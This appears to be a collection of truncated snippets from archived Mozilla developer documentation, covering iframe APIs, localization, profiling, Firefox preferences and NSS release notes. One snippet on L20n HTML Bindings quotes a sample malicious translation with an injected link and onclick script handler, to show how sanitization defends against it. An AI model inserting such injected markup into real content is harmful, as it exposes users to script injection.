There may also be large incompatibilities between implementations and the behavior may change in the future. The getActive() method of the HTMLIFrameElement indicates whether the current browser <iframe> is the currently active frame. Syntax var amIActive = instanceOfHTMLIframeElement.getActive(); Returns A Boolean indicating whether the current browser <iframe> is the currently active frame (true) or not (false.) Parameters None. ...
HTMLIFrameElement.getCanGoBack()
There may also be large incompatibilities between implementations and the behavior may change in the future. The getCanGoBack() method of the HTMLIFrameElement interface is used to indicate whether it's possible to go back in the navigation history of the browser <iframe>. Syntax instanceOfHTMLIframeElement.getCanGoBack() .then(function(result) { ... ...
HTMLIFrameElement.getCanGoForward()
There may also be large incompatibilities between implementations and the behavior may change in the future. The getCanGoForward() method of the HTMLIFrameElement is used to indicate whether it's possible to go forward in the navigation history of the browser <iframe>. Syntax instanceOfHTMLIframeElement.getCanGoForward() .then(function(result) { ... ...
HTMLIFrameElement.getMuted()
There may also be large incompatibilities between implementations and the behavior may change in the future. The getMuted() method of the HTMLIFrameElement indicates whether the browser <iframe> is currently muted. Syntax There are two versions of this method, a callback version: var request = instanceOfHTMLIframeElement.getMuted(); and a Promise version: instanceOfHTMLIframeElement.getMuted().then(function(muted) { ... ...
HTMLIFrameElement.getVisible()
There may also be large incompatibilities between implementations and the behavior may change in the future. The getVisible() method of the HTMLIFrameElement is used to request the current visible state of the browser <iframe>. Syntax instanceOfDOMRequest = instanceOfHTMLIframeElement.getVisible(); Returns A DOMRequest object to handle the getVisible() request's success and error cases. ...
HTMLIFrameElement.getVolume()
There may also be large incompatibilities between implementations and the behavior may change in the future. The getVolume() method of the HTMLIFrameElement gets the current volume of the browser <iframe>. Syntax There are two versions of this method, a callback version: var request = instanceOfHTMLIframeElement.getVolume(); and a Promise version: instanceOfHTMLIframeElement.getVolume().then(function(volume) { ... ...
HTMLIFrameElement.goBack()
There may also be large incompatibilities between implementations and the behavior may change in the future. The goBack() method of the HTMLIFrameElement interface is used to navigate backwards in the browser <iframe>'s history. By calling this method, the browser <iframe> changes its location for the previous location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart, and so on. ...
HTMLIFrameElement.goForward()
There may also be large incompatibilities between implementations and the behavior may change in the future. The goForward() method of the HTMLIFrameElement is used to navigate forward in the browser <iframe>'s history. By calling this method, the browser <iframe> changes its location to the next location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart and so on. ...
PBackground
e when handling multiple threads in the chrome process, for example communication between workers and multiple child processes and other parent-process worker threads. This article outlines what PBackground is, and how it works. IPDL recap IPDL is a language used to define "protocols" -- essentially formalized versions of how two things can communicate. It is similar in some respects to IDL and
WebIDL. At build time the IPDL compiler automatically generates a large amount of C++ glue code from the IPDL files. IPDL protocols are used to specify how the chrome and content processes talk to each other and verify that a content process is "following the rules". Note: If you want more detailed information on IPDL, start out by reading the IPDL tutorial. When used at run time, every protocol ...
Infallible memory allocation
cations because in extremely low memory conditions, as described in How can memory allocation be infallible?, the application may terminate if an infallible allocator can't find the memory you requested. If you don't know whether or not the memory will be large, use the standard malloc() routine. Be sure to check the result for null. Be warned that any allocation that's controlled by the user or
web content may grow bigger than you expect; people and pages do surprising things all the time! When instantiating objects, the new operator creates them infallibly by default. If you want to allocate them fallibly, use the syntax new (fallible) Foo(). When in doubt, use the infallible allocator and don't null check. NS_Alloc() is also infallible. Explicitly infallible memory allocators T...
Integrated Authentication
that supports NTLMv1/LMv1 and NTLM2 Session Key modes. As of Mozilla 1.7, there is no support for NTLMv2/LMv2. This is mainly due to the fact that NTLMSSP does not provide a means to negotiate use of NTLMv2/LMv2. <i>This document is incomplete ...</i> Flow Diagram The diagram below shows how various components interact. Configuration By default, Mozilla rejects all SPNEGO challenges from a
web server. This is to protect the user from the possibility of DNS-spoofing being used to stage a man-in-the-middle exploit (see bug 17578 for more info). Moreover, with Windows clients NTLM may be negotiated as the authentication protocol. So, it is paramount that the browser does not freely exchange NTLM user credentials with any server that requests them. The NTLM response includes a hash of the ...
AsyncShutdown.jsm
. Properties Attribute Type Description profileBeforeChange Read only Phase The profile is about to be unmounted. This phase represents the last chance to write data to the profile directory. sendTelemetry Read only Phase Telemetry is being sent. This phase represents the last chance for Telemetry to write data.
webWorkersShutdown Read only Phase JavaScript threads are about to be killed. This phase represents the last chance to communicate with a JavaScript worker, in particular with OS.File. ...
DownloadTarget
d metadata. If that metadata is no longer available and the file has been deleted, then this value is zero. For single-file downloads, this property's value will always match the actual size of the file on disk, while the Download.totalBytes property, when available, may indicate the size of the data as encoded for transfer instead. For downloads of multiple files, such as downloading a
web page and its required media to disk, the meaning of this property is undefined. It currently indicates the size of the main file (such as the HTML document) rather than the sum of all of the files' sizes, but you must not rely upon this behavior, as it is subject to change. This is a dynamic property, which is updated when the download finishes or whenever the Download.refresh() method is ca...
Downloads.jsm
UL standalone application (running with XULRunner or firefox --app), you have to do additionnal things in order to use the new download manager. By default it is not enabled. It will be enabled when the bug 851471 will be closed. If you don't activate it, you could use Downloads.jsm, but your view will not be called by the external helper app service (when a user click on a file to download, in a
web page). To enable the new download manager : First you have to set the pref browser.download.useJSTransfer to true. Then you should declare the new nsITransfer object during the startup of your app. Components.manager.QueryInterface(Components.interfaces.nsIComponentRegistrar) .registerFactory(Components.ID("{1b4c85df-cbdd-4bb6-b04e-613caece083c}"), "", "@mozilla.org/tran...
Following the Android Toasts Tutorial from a JNI Perspective
elds have two types, static and not. We look up the documentation for our field, which is LENGTH_SHORT, and we see it is static. So we will not need a group in the third argument of LoadClass for fields, we will only need static_fields. Fields do not accept arguments, so the "method format" is not used, we simply tell the sig the type of the field, which we find out from the Android documentation
website. This is what our fields array will look like: static_fields: [ { name: 'LENGTH_SHORT', sig: SIG.int } ] Wrap it all up Here is the code for our completed Toast class: var Toast = JNI.LoadClass(my_jenv, SIG.Toast.substr(1, SIG.Toast.length - 2), { static_methods: [ { name: 'makeText', sig: '(' + SIG.Context + // context SIG.i...
OSFile.jsm
s a new API designed for efficient, off-main thread, manipulation of files by privileged JavaScript code. This API is intended to replace, in time, most XPCOM-based manipulation of files (nsIFile, subsets of nsIIOService, etc.) by JavaScript code. What are the relationships with the HTML5 File API? None, really. The File API is designed for high-level, highly-restricted manipulation of files by
web applications. OS.File is designed for efficient, unrestricted, manipulation of files by Firefox itself and by add-ons. Why is Off Main Thread File I/O important? One thing that all developers need to remember is that the duration of a File I/O operation is unbounded. Depending on the current load of the kernel, the current disk activity, the current load of the bus, the current rotation speed o...
Examples
ED for reason = "' + uneval(aRejectReason) + '"'); } ); function myUserDefinedPromise() { return 'i didnt do a Promise.resolve so this will not understand that myPromise is a promise'; } // creates this error: /* Exception: myPromise.then is not a function @Scratchpad/5:8:1 WCA_evalWithDebugger@resource://gre/modules/commonjs/toolkit/loader.js -> resource://gre/modules/devtools/server/actors/
webconsole.js:1069:7 WCA_onEvaluateJS@resource://gre/modules/commonjs/toolkit/loader.js -> resource://gre/modules/devtools/server/actors/
webconsole.js:734:9 DSC_onPacket@resource://gre/modules/commonjs/toolkit/loader.js -> resource://gre/modules/devtools/server/main.js:1098:9 LDT_send/<@resource://gre/modules/devtools/dbg-client.jsm -> resource://gre/modules/devtools/server/transport.js:279:11 makeIn...
JavaScript code modules
The Source Editor is used by developer tools such as, the Style Editor; this interface implements the editor and lets you interact with it. Sqlite.jsm A Promise-based API to mozIStorage/SQLite. Task.jsm Implements a subset of Task.js to make sequential, asynchronous operations simple, using the power of JavaScript's yield operator. Timer.jsm A pure JS implementation of window.setTimeout.
Webapps.jsm Provides an interface to manage Open
Web Apps.
WebRequest.jsm Provides an API to add event listeners for the various stages of making an HTTP request. The event listener receives detailed information about the request, and can modify or cancel the request. XPCOMUtils.jsm Contains utilities for JavaScript components loaded by the JS component loader. ...
Application Translation with Mercurial
r, now open it in Firefox either by calling it from the Firefox menu bar (press the Alt key to show it if necessary) using "View" > "Sidebar" > "Scrapbook" or by clicking its toolbar button which you likely have to add by toolbar customization if you didn't do this before. Drag the tab with the localization error showing missing and obsolete strings to the sidebar. After Scrapbook has saved the
web page to your local disk, click with the right mouse button on the page in the sidebar and choose "Properties" from the context menu which gets opened. Rename it something meaningful, e.g. "Firefox <version number> translation". After you saved the dialog, click with the left mouse button on the page in the sidebar to open the locally saved copy. Opening English files and the target locale side...
Bootstrapping a new locale
making sure it follows the *mozilla-1.9.2* structure. This will familiarize you with our "Hg" commands and will get us something that we can import easily when you are done. Working with Bit Bucket Before a team becomes official, we like to get the localizers comfortable with the Hg commands that allow for cloning, pulling, committing, and pushing work to an experimental repository. We use a
web service called Bit Bucket to start the learning process. To begin, contact the l10n-drivers to let them know that you are interested in starting a localization. The l10n-drivers will help set up an experimental Hg repository in Bit Bucket. You will need to create an account so you can access the service. Once you have that account, send the l10n-drivers the details to be added as a "writer". ...
Mozilla Content Localized in Your Language
You are free to add, edit, remove, and localize everything in this section according to how the localization team for your language agrees. All we ask is that you name this page according to this example, "Mozilla Content in Spanish (es-MX)" and add your locale code tag at the bottom. ...
Localizing extension metadata on addons.mozilla.org
or Moz family apps. They are volunteer translators from all over the world and are maintaining translations for more than 400 extensions with an online translation system. They also provide help for adding a localization support to your extension if there is no localization structure yet. You can already request for AMO fields localization on the forums, and these fields will be added soon to the
Web Translation System. Amazon Mechanical Turk This is not free, but for a very modest amount of money you can get your AMO page quickly translated by native speakers. Create an account and then, using the "Basic Open-ended Question" template, follow the instructions to upload the text of your AMO page. On the Properties page you can specify the location of the worker in order to restrict to people...
Localizing with Mozilla Translator
''. That has worked well (OK, more or less) :-) as long as you could instruct MT to use just one ''root'' L10n directory, but this is no longer the case with Mercurial. MT could be changed for a MT product to have a list of ''root'' directories instead of just one, and maybe someday it will do, but it will probably won't happen before SeaMonkey 1.1.x dies (and SeaMonkey 2.0 finally conquers the
web, if I may add). ;-) Enough chatting, what's next? Anyway, we need to work around the full-fledged repository problem. These are your options: Create one product for each ''root'' directories. This means browser, extensions/reporter, dom, netwer, security, and toolkit. Besides that, you will need to create one tiny product for other-licenses/branding/firefox. For each one of the above, the...
Localizing without a specialized tool
purposes of this tutorial, we will just convert all letters to uppercase, so that the change is visible in the UI. <!ENTITY cmd_engineManager.label "MANAGE SEARCH ENGINES..."> <!ENTITY searchEndCap.label "SEARCH"> Save the file. .properties Files The property file "search.properties" contains the string "Add %S". This string can easily be found in the browser UI by visiting a
website that provides a search plugin (like http://developer.mozilla.org/) and clicking on the drop-down arrow in the search box in the upper-right corner of your browser. At the second to bottom of the list of search engines that appears, you'll see, "Add %S", where %S is replaced by the name of the site. Again, to start, make sure you are in /path/to/your/working/directory/l10n-mozilla-1.9.2/x-te...
Initial setup
access. At that point, you must visit the Mozilla Committer page and follow the process outlined there. Here is an example bug that illustrates the process well. Use this bug template when filing your hg account registration bug. Add a request about creating your locale's repository to the new locales newsgroup. SVN SVN is a revision control environment that Mozilla uses to house Mozilla source
websites and their localizations for each official Mozilla localization. See this wiki page about how to gain access to SVN. The SVN for Localizers guide will help you learn the most important SVN commands for l10n. Add a request about creating your locale's repository to the new locales newsgroup.
Web-based L10n tools We'll talk about these in a little bit. For now, just be aware that should yo...
gettext
Plurals gettext lets you define and use singular and plural forms of a string. To take advantage of this functionality, you need to use a different keyword (i.e. different gettext function name) for string which are supposed to support plurals. For instance, in PHP the default keyword for regular messages is gettext() and _(). For messages with plural support, the default keyword is ngettext(). ...
MathML Torture Test
by your browser using the default math font, or an alternative OpenType MATH fonts. To get the best rendering, be sure to have appropriate mathematical fonts installed on your system and to use a browser with OpenType MATH support such as Gecko 31.0 (Firefox 31.0 / Thunderbird 31.0 / SeaMonkey 2.28) or higher. You may also try this test page for Mathematical OpenType Fonts which instead relies on
Web fonts. Finally, you may want to check this table comparing how the tests are read by various screen readers for Mozilla browsers. Link to test: MathML Torture Test demo ...
MathML Screenshots
Screen captures of mtable, showing typesetting mathematical constructs in 2D. Screenshot of roots and physics equations (Maxwell's equations and Einstein's field equations). This screen capture demonstrates advanced layout with mtable and stretchy operators. ...
MathML In Action
ymore (a.k.a. regressions)? In either case, head over to Bugzilla to report the discrepancies. Bugzilla has a big memory for these things, and besides, how would your problems be fixed if they are not reported?! Getting involved is part of your contribution towards enriching Gecko with an elegant standards-compliant MathML renderer. Your feedback can be manifested by putting MathML content on the
web, reporting bugs in Bugzilla, and, if you can help with code, inspecting/improving the current code, and/or picking up an item in the ToDo list. ...
Mobile
Mobile
web development Mobile devices have very different hardware characteristics from desktop or laptop computers, and many of the APIs used to work with them are still in the process of being standardized. Read about how to develop
web sites that look good on mobile devices and take advantage of the new possibilities they offer. Learn how to make sure your
web site works well on different browsers. ...
Are We Slim Yet
It used the same infrastructure as about:memory to measure memory usage on a predefined snapshot of Alexa top 100 pages known as tp5. Since Firefox transitioned to using multiple processes by default, we moved AWSY into the TaskCluster infrastructure. This allowed us to run measurements on all branches and platforms. The results are posted to perfherder where we can track regressions automatically. As new processes are added to Firefox we want to make sure their memory usage is also tracked by AWSY. ...
Automated performance testing and sheriffing
We have several test harnesses that test Firefox for various performance characteristics (page load time, startup time, etc.). We also generate some metrics as part of the build process (like installer size) that are interesting to track over time. Currently we aggregate this information in the Perfherder
web application where performance sheriffs watch for significant regressions, filing bugs as appropriate. Current list of automated systems we are tracking (at least to some degree): Talos: The main performance system, run on virtually every check-in to an integration branch Build Metrics: A grab bag of performance metrics generated by the build system AreWeFastYet: A generic JavaScript and
Web benchmarking system AreWeSlimYet: A memory benchmarking tool ...
Gecko Profiler FAQ
hen attack the biggest bucket. Neither the process of accumulation, nor the process of assigning things to buckets, is easily doable with the current UI. There are many cases where code is slow due to a death by a thousand cuts scenario, in which case you would need to find many micro-optimizations that overall amount to something significant. How to go from a
web-page to a micro-benchmark which is representative of the
web-page? Please let me know if you find a way to do this. It would make our job a lot easier. In the off-chance where we have been able to do this, it typically happens as one of the last stages of the work, since you'd typically have finished fully analyzing the issue and through that have managed to figure out how...
Memory Profiler
use an old profiler specifically designed for Firefox OS devices. Getting the Profiler Add-on The built-in memory profiler's interface is still under construction. It can be obtained by installing the Memory Profiler Add-on. You may need to set the "xpinstall.signatures.required" pref to false in order to install it, since the XPI is not yet signed. Using the Add-on Open the devtools panel or
WebIDE. Select the MemoryProfiler tab. To take a profile you can use the buttons in the profiler panel. Start - start profiling Stop - stop profiling Reset - clear profile data when profiler is stopped Profile data is accumulated and resumed after start. Use reset to start a new recording. Understanding the Profiles Traditional memory analysis tools look at the data. They build the refer...
Profiling with Xperf
e with no arguments, or start 'xperfview' and look at Help -> About Performance Analyzer. (Note that it's not the first version number in the About window; that's the Windows version.) If you have an older version, you will experience bugs, especially around symbol loading for local builds. Installation For all versions, the tools are part of the latest Windows 7 SDK (SDK Version 7.1). Use the
web installer to install at least the "Win32 Development Tools". Once the SDK installs, execute either wpt_x86.msi or wpt_x64.msi in the Redist/Windows Performance Toolkit folder of the SDK's install location (typically Program Files/Microsoft SDKs/Windows/v7.1/Redist/Windows Performance Toolkit) to actually install the Windows Performance Toolkit tools. It might already be installed by the Windows...
TimerFirings logging
xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (ONE_SHOT 100 ms): [content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (ONE_SHOT 100 ms): [content] http://a.visualrevenue.com/vrs.js:6:9423 These JS timers are annotated with [content] and show the JavaScript source location where they were created. They can come from chrome code within Firefox, or from
web content. The informative labels are only present on function timers that have had their creation site annotated. For unannotated function timers, there are three possible behaviours. First, on Mac the code uses dladdr to get the name immediately, and the output will look like the following. 2082435840[100445640]: [81190] fn timer (ONE_SHOT 8000 ms): [from dladdr] gfxFontInfoLoader::DelayedStar...
TraceMalloc
analyze a log for shutdown leaks. It will produce a report like the following. Leaks: 382739 bytes, 3465 allocations Maximum Heap Size: 7751799 bytes 62095212 bytes were allocated in 391091 allocations. Detecting memory usage growth in a running process To do this, dump the existing allocations to a file by calling the function TraceMallocDumpAllocations from JavaScript. You can use the following
web page to do so. <script type="text/javascript"> var filename = window.prompt("Filename to log: "); if (filename) TraceMallocDumpAllocations(filename); </script> One can then use the script tools/trace-malloc/diffbloatdump.pl to compare trace-malloc dumps before and after doing an action that might leak. If there are significant differences, it might be worth examining the call stack...
browser.download.lastDir.savePerSite
browser.download.lastDir.savePerSite controls whether the directory preselected in the file picker for saving a file download is being remembered on a per-
website (host) base. If set to true, the data is stored as content preference. Type:boolean Default value:true Exists by default: no Application support:Firefox 11.0 Status: Active; last updated 2012-02-15 Introduction: Pushed to Nightly on 2011-12-11 Bugs: bug 702748 Values true (default) The last used directory for the
website (host) serving the file for download will be preselected in the file picker. If no download directory for the current
website has been stored, browser.download.lastDir will be used. false The last used directory for any download (stored in browser.download.lastDir) will be the preselected d...
browser.pagethumbnails.capturing_disabled
The preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the
web page is shown in the grid of the "New Tab Page" (about:newtab) which offers the most often visited pages for fast navigation. Type:boolean Default value:true Exists by default: no Application support: Firefox 14.0 Status: Active; last updated 2012-09-17 Introduction: Pushed to Nightly on 2012-04-13 Bugs: bug 726347 Values false The application creates screenshots of visited
web pages. true (default) The application doesn't create screenshots of visited
web pages. ...
dom.event.clipboardevents.enabled
dom.event.clipboardevents.enabled lets
websites get notifications if the user copies, pastes, or cuts something from a
web page, and it lets them know which part of the page had been selected. The emitting of the oncopy, oncut and onpaste events are controlled by this preference. Type:boolean Default value:true Exists by default: no Application support: Gecko 13.0 (Firefox 13.0 / Thunderbird 13.0 / SeaMonkey 2.10) Status: Active; last updated 2012-02-15 Introduction: Pushed to Nightly on 2012-02-14 Bugs: bug 542938 Values true (default) The oncopy, oncut and onpaste events are enabled for
web content. false The oncopy, oncut and onpaste events are disabled for
web content. ...
javascript.options.showInConsole
n the Error Console. Type:boolean Default value: false (true in debug builds) Exists by default: yes Application support:Firefox 1.0 Status: Active Introduction:2002-02-26 Bugs: bug 125181 bug 337875 Values false Only errors and warnings from content code are shown. true (default) Errors and warnings from both chrome and content are shown in the Error Console. Note: Since the
Web Console was introduced in Firefox 4 specifically for debugging content, the default value for this preference has changed to true as of Gecko 2.0. ...
Debugging out-of-memory problems
to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose. This article explains how to debug such problems. Out-of-memory exceptions from JS Setting memory.dump_reports_on_oom in about:config to true will cause the browser to automatically write about:memory dumps to a temp file printed to the Browser Console (note: not
Web Console) when an OOM crash is encountered. For more information, see bug 969415. Out-of-memory crashes In some cases, running out of memory causes the browser to crash. Ideally, memory.dump_reports_on_oom would generate an about:memory dump, but it does not currently. Firefox Android On Firefox Android, an about:memory dump may be triggered from a connect desktop machine with the command: a...
L20n HTML Bindings
sed in translations. In addition to the pre-defined whitelists, any element found in the original source HTML is allowed in the translation as well. Consider the following source HTML: <p data-l10n-id="save"> <input type="submit"> <a href="/main" class="btn-cancel"></a> </p> Assume the following malicious translation: <save """ <input value="Save" type="text"> or <a href="http://myevil
website.com" onclick="alert('pwnd!')" title="Back to the homepage">cancel</a>. """> The result will be: <p data-l10n-id="back"> <input value="Save" type="submit"> or <a href="/main" class="btn-cancel" title="Back to the homepage">cancel</a>. </p> The input element is not on the default whitelist but since it's present in the source HTML, it is also allowed in the translation. T...
Localization Use Cases
ch different grammatical cases of the noun. In shared/branding/official/branding, we can define browserBrandShortName as: <browserBrandShortName{ nominative: "Firefox", genitive: "Firefoxa", dative: "Firefoxu", accusative: "Firefox", locative: "Firefoxu", instrumental:"Firefoxom" }> And in shared/branding/unofficial/branding, we can define browserBrandShortName as follows, to mean
Web Browser: Now, coming back to apps/browser/locales/browser, we can take advantage of the grammatical cases. Slovenian uses the locative case with its About preposition: <aboutBrowser "O {{ browserBrandShortName.locative }}"> For the official branding, we get: O Firefoxu And for the unofficial branding, we end up with: O Brskalniku Genders In the System app's apps/system/locales/syste...
Midas editor module security preferences
Please do not try to modify this page. To protect users' private information, unprivileged scripts cannot invoke the Cut, Copy, and Paste commands in Midas, which is Mozilla's rich text editor component. This means that the corresponding buttons on the Mozilla Rich Text Editing demo page will not work. To enable these functions, you must modify your browser prefer...
Midas
bold for subsequently typed characters. If there is a selection and all of the characters are already bold, the bold will be removed. Otherwise, all selected characters will become bold. contentReadOnly This command will make the editor readonly(true)or editable(false). Anticipated usage is for temporarily disabling input while something else is occurring elsewhere in the
web page. copy If there is a selection, this command will copy the selection to the clipboard. If there isn't a selection, nothing will happen. note: this command won't work without setting a pref or using signed JS. See: more about security preferences note: the shortcut key will automatically trigger this command (typically accel-C) with or without the signed JS or any code...
NSS Certificate Download Specification
-email-cert The certificate being downloaded is a user certificate belonging to another user for use with S/MIME. If a certificate chain is being imported then the first certificate in the chain must be the user certificate, and any subsequent certificates will be added as untrusted CA certificates to the local database. This is intended to allow people or CAs to post their e-mail certificates on
web pages for download by other users who want to send them encrypted mail. Note: the browser checks that the size of the object being downloaded matches the size of the encoded certificates. Therefore it is important to ensure that no extra characters, such as NULLs or LineFeeds are added at the end of the object. Importing Certificates into NSS-based servers Consult your server's administration...
Getting Started With NSS
d that describe various aspects of NSS. You can start with: the current primary NSS documentation page from which we link to other documentation. a General Overview of the applications that use NSS and the features it provides. a high level Introduction to the Internals of NSS. learn about getting the NSS sources, building, and testing. Old documentation that is on the archived mozilla.org
website. (Unfortunately the NSS project doesn't have a technical writer at this time, so our documentation is not as organized as we would like it to be. You could contribute by organizing it in a better way.) NSS Sample Code A good place to start learning how to write NSS applications are the command line tools that are maintained by the NSS developers. You can find them in subdirectory mozilla/...
NSS 3.14 release notes
l Macs When building for Intel Macs, NSS will now take advantage of optimized assembly code for common operations. These changes have the observed effect of doubling RSA performance. Bug 792681 - New default cipher suites The default cipher suites in NSS 3.14 have been changed to better reflect the current security landscape. The defaults now better match the set that most major
Web browsers enable by default. Bug 783448 - When performing an SSL renegotiation, the client_version that is sent in the renegotiation ClientHello will be set to match the client_version that was sent in the initial ClientHello. This is needed for compatibility with IIS. Certificate signatures that make use of the MD5 hash algorithm will now be rejected by default. Support for MD5 may be manu...
NSS 3.16.4 release notes
tificate changes as listed below, and includes a small number of bug fixes. Notable Changes in NSS 3.16.4 The following 1024-bit root CA certificate was restored to allow more time to develop a better transition strategy for affected sites. It was removed in NSS 3.16.3, but discussion in the mozilla.dev.security.policy forum led to the decision to keep this root included longer in order to give
website administrators more time to update their
web servers. CN = GTE CyberTrust Global Root SHA1 Fingerprint: 97:81:79:50:D8:1C:96:70:CC:34:D8:09:CF:79:44:31:36:7E:F4:74 In NSS 3.16.3, the 1024-bit "Entrust.net Secure Server Certification Authority" root CA certificate (SHA1 Fingerprint: 99:A6:9B:E6:1A:FE:88:6B:4D:2B:82:00:7C:B8:54:FC:31:7E:15:39) was removed. In NSS ...
NSS 3.17.3 release notes
:63:99:D2:7D:7F:90:44:C9:FE:B3:F3:3E:FA:9A CN = America Online Root Certification Authority 1 SHA-1 Fingerprint: 39:21:C1:15:C1:5D:0E:CA:5C:CB:5B:C4:F0:7D:21:D8:05:0B:56:6A CN = America Online Root Certification Authority 2 SHA-1 Fingerprint: 85:B5:FF:67:9B:0C:79:96:1F:C8:6E:44:22:00:46:13:DB:17:92:84 The following CA certificates had the
Websites and Code Signing trust bits turned off OU = Class 3 Public Primary Certification Authority - G2 SHA1 Fingerprint: 85:37:1C:A6:E5:50:14:3D:CE:28:03:47:1B:DE:3A:09:E8:F8:77:0F CN = Equifax Secure eBusiness CA-1 SHA1 Fingerprint: DA:40:18:8B:91:89:A3:ED:EE:AE:DA:97:FE:2F:9D:F5:B7:D1:8A:41 The following CA certificates were Added CN = ...
NSS 3.18 release notes
hest DTLS protocol version enabled by default has been increased from DTLS 1.0 to DTLS 1.2. The default key size used by certutil when creating an RSA key pair has been increased from 1024 bits to 2048 bits. On Mac OS X, by default the softokn shared library will link with the sqlite library installed by the operating system, if it is version 3.5 or newer. ...
NSS 3.19.3 release notes
HA1 Fingerprint: 0C:62:8F:5C:55:70:B1:C9:57:FA:FD:38:3F:B0:3D:7B:7D:D7:B9:C6 CN = TC TrustCenter Universal CA I SHA-1 Fingerprint: 6B:2F:34:AD:89:58:BE:62:FD:B0:6B:5C:CE:BB:9D:D9:4F:4E:39:F3 CN = TC TrustCenter Class 2 CA II SHA-1 Fingerprint: AE:50:83:ED:7C:F4:5C:BC:8F:61:C6:21:FE:68:5D:79:42:21:15:6E The following CA certificate had the
Websites trust bit turned off CN = ComSign Secured CA SHA1 Fingerprint: F9:CD:0E:2C:DA:76:24:C1:8F:BD:F0:F0:AB:B6:45:B8:F7:FE:D5:7A The following CA certificates were Added CN = TURKTRUST Elektronik Sertifika Hizmet Saglayicisi H5 SHA1 Fingerprint: C4:18:F6:4D:46:D1:DF:00:3D:27:30:13:72:43:A9:12:11:C6:75:FB CN = TURKTRUST Elektronik Sertifi...
NSS 3.21 release notes
B:B9:C0:72:DA:5B:0C:C1:D0:57:F0:36:9B:46 CN = UTN - DATACorp SGC SHA-1 Fingerprint: 58:11:9F:0E:12:82:87:EA:50:FD:D9:87:45:6F:4F:78:DC:FA:D6:D4 O = TURKTRUST Bilgi Iletisim ve Bilisim Guvenligi Hizmetleri A.S. ...
NSS 3.28.5 release notes
(The version numbers 2.12 and 2.13 for the root CA list have been skipped.) Bugs fixed in NSS 3.28.5 Bug 1350859 - March 2017 batch of root CA changes. Bug 1349705 - Implemented domain name constrai...
NSS 3.30.2 release notes
Added: CN = D-TRUST Root CA 3 2013 SHA-256 Fingerprint: A1:A8:6D:04:12:1E:B8:7F:02:7C:66:F5:33:03:C2:8E:57:39:F9:43:FC:84:B3:8A:D6:AF:00:90:35:DD:94:57 Trust Flags: Email CN = TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1 SHA-256 Fingerprint: 46:ED:C3:68:90:46:D5:3A:45:3F:B3:10:4A:B8:0D:CA:EC:65:8B:26:60:EA:16:29:DD:7E:86:79:90:64:87:16 Trust Flags:
Websites Technically constrained to: gov.tr, k12.tr, pol.tr, mil.tr, tsk.tr, kep.tr, bel.tr, edu.tr, org.tr The version number of the updated root CA list has been set to 2.14 (The version numbers 2.12 and 2.13 for the root CA list have been skipped.) Bugs fixed in NSS 3.30.2 Bug 1350859 - March 2017 batch of root CA changes Bug 1349705 - Implemented domain name constraint...
NSS 3.32 release notes
rtable Runtime (NSPR) 4.16, or newer. NSS 3.32 source distributions are available on ftp.mozilla.org, for secure HTTPS download: Source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/NSS_3_32_RTM/src/ Notable Changes in NSS 3.32 Various minor improvements and correctness fixes. The Code Signing trust bit was turned off for all, included root certificates. The
Websites (TLS/SSL) trust bit was turned off for the following root certificates. CN = AddTrust Class 1 CA Root SHA-256 Fingerprint: 8C:72:09:27:9A:C0:4E:27:5E:16:D0:7F:D3:B7:75:E8:01:54:B5:96:80:46:E3:1F:52:DD:25:76:63:24:E9:A7 CN = Swisscom Root CA 2 SHA-256 Fingerprint: F0:9B:12:2C:71:14:F4:A0:9B:D4:EA:4F:4A:99:D5:58:B4:6E:4C:25:CD:81:14:0D:29:C0:56:13:91:4C:38...
NSS 3.35 release notes
:AF:68:8E:90:A1:C7:0F:55:6C:FD:6B:60:25:DB:EA:10:41:6D:7E:B6:83:1F:8C:40 Subject CN = VeriSign Class 3 Secure Server CA - G2 SHA-256 Fingerprint: 0A:41:51:D5:E5:8B:84:B8:AC:E5:3A:5C:12:12:2A:C9:59:CD:69:91:FB:B3:8E:99:B5:76:C0:AB:DA:C3:58:14 This intermediate cert had been directly included to help with transition from 1024-bit roots per Bug #1045189. ...
NSS 3.36.4 release notes
available on ftp.mozilla.org for secure HTTPS download: Source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/NSS_3_36_4_RTM/src/ New in NSS 3.36.4 New Functionality No new functionality is introduced in this release. This is a patch release to fix regression bugs. Bugs fixed in NSS 3.36.4 Bug 1461731 - Fix crash on macOS related to authentication tokens, e.g. PK11or
WebAuthn. Compatibility NSS 3.36.4 shared libraries are backward compatible with all older NSS 3.x shared libraries. A program linked with older NSS 3.x shared libraries will work with NSS 3.36.4 shared libraries without recompiling or relinking. Furthermore, applications that restrict their use of NSS APIs to the functions listed in NSS Public Functions will remain compatible with future versio...
NSS 3.37.3 release notes
tarballs: https://ftp.mozilla.org/pub/security/nss/releases/NSS_3_37_3_RTM/src/ New in NSS 3.37.3 New Functionality No new functionality is introduced in this release. This is a patch release to fix regression bugs. Bugs fixed in NSS 3.37.3 Bug 1459739 - Fix build on armv6/armv7 and other platforms. Bug 1461731 - Fix crash on macOS related to authentication tokens, e.g. PK11or
WebAuthn. Compatibility NSS 3.37.3 shared libraries are backward compatible with all older NSS 3.x shared libraries. A program linked with older NSS 3.x shared libraries will work with NSS 3.37.3 shared libraries without recompiling or relinking. Furthermore, applications that restrict their use of NSS APIs to the functions listed in NSS Public Functions will remain compatible with future versio...
NSS 3.39 release notes
952C453647349763A3AB5AD6CCF69 CN = OISTE WISeKey Global Root GC CA SHA-256 Fingerprint: 8560F91C3624DABA9570B5FEA0DBE36FF11A8323BE9486854FB3F34A5571198D The following CA certificate was Removed: CN = ComSign SHA-256 Fingerprint: AE4457B40D9EDA96677B0D3C92D57B5177ABD7AC1037958356D1E094518BE5F2 The following CA certificates had the
Websites trust bit disabled: CN = Certplus Root CA G1 SHA-256 Fingerprint: 152A402BFCDF2CD548054D2275B39C7FCA3EC0978078B0F0EA76E561A6C7433E CN = Certplus Root CA G2 SHA-256 Fingerprint: 6CC05041E6445E74696C4CFBC9F80F543B7EABBB44B4CE6F787C6A9971C42F17 CN = OpenTrust Root CA G1 SHA-256 Fingerprint: 56C77128D98C18D91B4CFDFFBC25EE9103D4758EA2ABA...
Overview of NSS
